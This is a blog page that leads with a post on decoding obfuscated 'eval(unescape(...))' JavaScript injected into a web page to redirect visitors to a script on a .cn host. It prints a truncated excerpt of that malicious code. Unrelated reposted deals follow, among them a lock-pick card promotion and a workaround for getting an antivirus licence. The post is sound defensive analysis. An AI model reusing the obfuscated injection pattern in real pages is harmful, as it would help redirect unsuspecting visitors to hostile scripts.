The Edge of I-Hacked

Also known as “eval( unescape” decryption

Recently, @surbo was working an investigation where he came across some obfuscated code which was innocuously included in an otherwise un-threatening html file. He had noticed that the result of the code was to push the client to a .js file which was being hosted on a .cn domain. (that cant be good)

However when viewing the source of the html page, he was presented with a fairly common technique often called “Encrypting HTML” which really should be considered “Obfuscating HTML” because all that the programmer has done is converted “human readable” code into “Human-Unreadable, yet Browser-Readable” code. Below is a small extract of this obfuscated code.

<script>eval( unescape( "%6"+"9%6"+"6"+"%28%21%6"+"d%79%6"+"9%6"+"b%29%7b%0d%0a%76"+"%6"+"1%72%20%72%3d%6"+"4%6"+"f%6"+"3%75%6"+"d%6"+"5%6"+"e%74%2e%72%6"+"5%6"+"6"+"%6"+"5%72%72%6"+"5%72%2c%75%3d));

He needed to come up with a way to easily de-obfuscate this, and came up with something I feel very clever.. Re-write eval into alert and save it to a local file.

Re-Written:
<script>alert( unescape( "%6"+"9%6"+"6"+"%28%21%6"+"d%79%6"+"9%6"+"b%29%7b%0d%0a%76"+"%6"+"1%72%20%72%3d%6"+"4%6"+"f%6"+"3%75%6"+"d%6"+"5%6"+"e%74%2e%72%6"+"5%6"+"6"+"%6"+"5%72%72%6"+"5%72%2c%75%3d));

When loaded into a browser, the BROWSER to translate the obfuscated code into human readable form, and give it to you in a nice alert box allowing you to copy and paste!

Well, this is an easy way to do it by hand if you are ever in a pinch.. But if you are using firefox I suggest you should check out JavaScript Deobfuscator

from Slickdeals.net

Every Sunday, get a free Redbox DVD rental by using the codes below at any Walmart with a Redbox kiosk. Thanks tmk85. [Redbox kiosk search]

Week 1 – 11moms4uS good Sunday 12/7 only
Week 2 – 11moms4uA good Sunday 12/14 only
Week 3 – 11moms4uN good Sunday 12/21 only
Week 4 – 11moms4uT good Sunday 12/28 only
Week 5 – 11moms4uA good Sunday 1/4 only

from Walletpop
Starbucks: Giving away a free tall coffee to people with proof of voting (or a pledge of having voted)
Krispy Kreme: Giving away free star-shaped donuts with red, white and blue sprinkles (while supplies last) to people with an “I voted” sticker all day
Ben & Jerry’s: Giving away a free scoop in any flavor from 5pm to 8pm to anyone who says they voted.

But there’s much, much more… (and we’re hoping you’ll feel free to tell us what’s free in your neighborhood for voters).

This is in no way a list of all of them, but here are some:

• Todd Conner’s, a bar in Baltimore, will give voters a free beer. (I’m guessing 18-20 year-old voters are disqualifed.)
• Selected Chick-fil-A locations will be offering free chicken sandwiches on Election Day to anyone with an “I Voted” sticker, and also giving away items on Nov. 5 for those who bring in lawn signs, but check first, to see if your local store is in on the deal.
• Rock the Vote is offering free song downloads to anyone who pledges to vote
• To its first 300 customers at each location, Shane’s Rib Shack will give away a free “Vote America meal,” which are chicken tenders and a beverage.
• Anaheim White House, a restaurant in California, are giving voters a free bottle of champagne. The catch seems to be that you have to order the $44 meal that comes with it.
• At Zov’s, a three-restaurant chain, also in California, they’re giving away a free slice of apple pie to anyone who votes.
• The Atlanta Zoo are cutting admission prices to half price on November 4 for voters and their families.
• In Chicago, at the restuarant Park 52, guests showing a receipt for voting will receive a free red, white and blue dessert–as in, red velvet cake with white cream cheese frosting and fresh blueberries.
• In Troy, Michigian, the Hot Spot Coffee Company will be giving out free 12-ounce cups of coffee to customers on November 4.
• And Babeland, an adult sex toy store in New York, Los Angeles and Seattle, is giving away, um, some free toys to anyone who says that they’re voting.
• A Dallas tattoo-removal specialist is offering a free consultation to getting a tattoo removed.
• Even more deals are listed at slickdeals.net

Really, your best plan of attack tomorrow seems to be to go into any store or restaurant and say, “I voted today. Giving anything away for free?

from Slickdeals.net
Newegg has Linksys WRT54GL wireless 802.11b/g router for $51 – $10 rebate = $41 with free shipping.

This router supports third-party firmwares such as DD-WRT and Tomato for enhanced features.

nin.com [download]- the slip

as a thank you to our fans for your continued support, we are giving away the new nine inch nails album one hundred percent free, exclusively via nin.com.

the music is available in a variety of formats including high-quality MP3, FLAC or M4A lossless at CD quality and even higher-than-CD quality 24/96 WAVE. your link will include all options – all free. all downloads include a PDF with artwork and credits.

for those of you interested in physical products, fear not. we plan to make a version of this release available on CD and vinyl in july. details coming soon.

from Engadget

Well, what do you know. What was $79 just a few minutes ago is now just $49. Making room for something new are we Apple? Still no change to iPod touch and iPhone pricing but we’ll keep an eye out.

Update: Apple store offline. Picture of all the discounted shuffles after the break.

Update 2: Store back online with new 2GB shuffle for just $69 — available later this month.

from SlickDeals.net Forums

For those with Win based systems — JUMP ON THIS.. Kaspersky is THE BEST AV software (some might say there is a reason they are so good)

Goto this link: http://bbs.kaspersky.com.cn/register.php
1. Scroll to bottom and wait till count down stops, then click on the Left bottom.
2. 1st box fill in username of ur choice.
2nd box fill in password
3rd box retype your password again.
4th box fill in email address
5th box fill in referral (Must be filled, I just type “BBS”)
Do not check the check box
Click on that last bottom.
3. Comes to a redirect page, however YOU MUST Click on the link, don’t let it auto redirect.
4. Select anything from the drop down menu and enter your email again. Click the bottom.

You should get the activation code in your email….You’ll know when you see it, because it’ll be the only thing you can understand

from defensedevices

Our friends at Defense Devices gave us some time to play with their credit card lock pick set.

Being a locksmith you know that carrying lock smith tools can raise a lot of eye brows. But with this slick device you can carry your tools conveniently and securely. This set is intended for the real skilled lock smith.

The card case is made out of hard plastic so it will hold up to everyday wear and tear. Packed with 4 stainless steel picks and 1 stainless steel tension tool. The case is just the right size to fit in your wallet or pocket.
As always you should check with you local law before buy lock pick sets if you are not a trained professional.

Dont forget to say ihacked for a 5% discount on your purchase!

from The Apple Store (U.S.)

Check out the Apple online store, it appears they may be “making room” for something because they are CLEARANCING inventory! If you were thinking about buying an iPod, now might be a good time. Current generation of iPod Nanos on top with a “Limited Time Special Price” of $129! Farther down the page, current generation of Video iPods discounted to $199!

from xbins.org

In celebration of our 5 year anniversary, with over 2 million unique visits, xbins is proudly presenting the first xbins contest! As the center of all xbox homebrew, we still thrive today in providing developers support to contribute publically to this large scene. We must first give our most expressed thanks and appreciation to our sponsor http://www.modchipman.com who is providing the prizes for this competition.

Here’s how the contest is going to work:

Various ‘items’ are going to be randomly hidden on our FTP server. Inside these item’s will be a code. Once you find one of the item’s, you will enter the code inside(just open the file with notepad to get the code) into the code box with your email at the bottom of this page. Once that code is submitted, it will no longer be valid. One prize per person. The contest will begin at 3pm PST on Saturday June 30th, and will last for 3 hours. You will need to join our channel #xbins on Efnet, IRC in order to participate. You may learn how to do that here . I want to note that the channel will be left unmoderated so that people can actually talk in the channel…something not done in quite a few years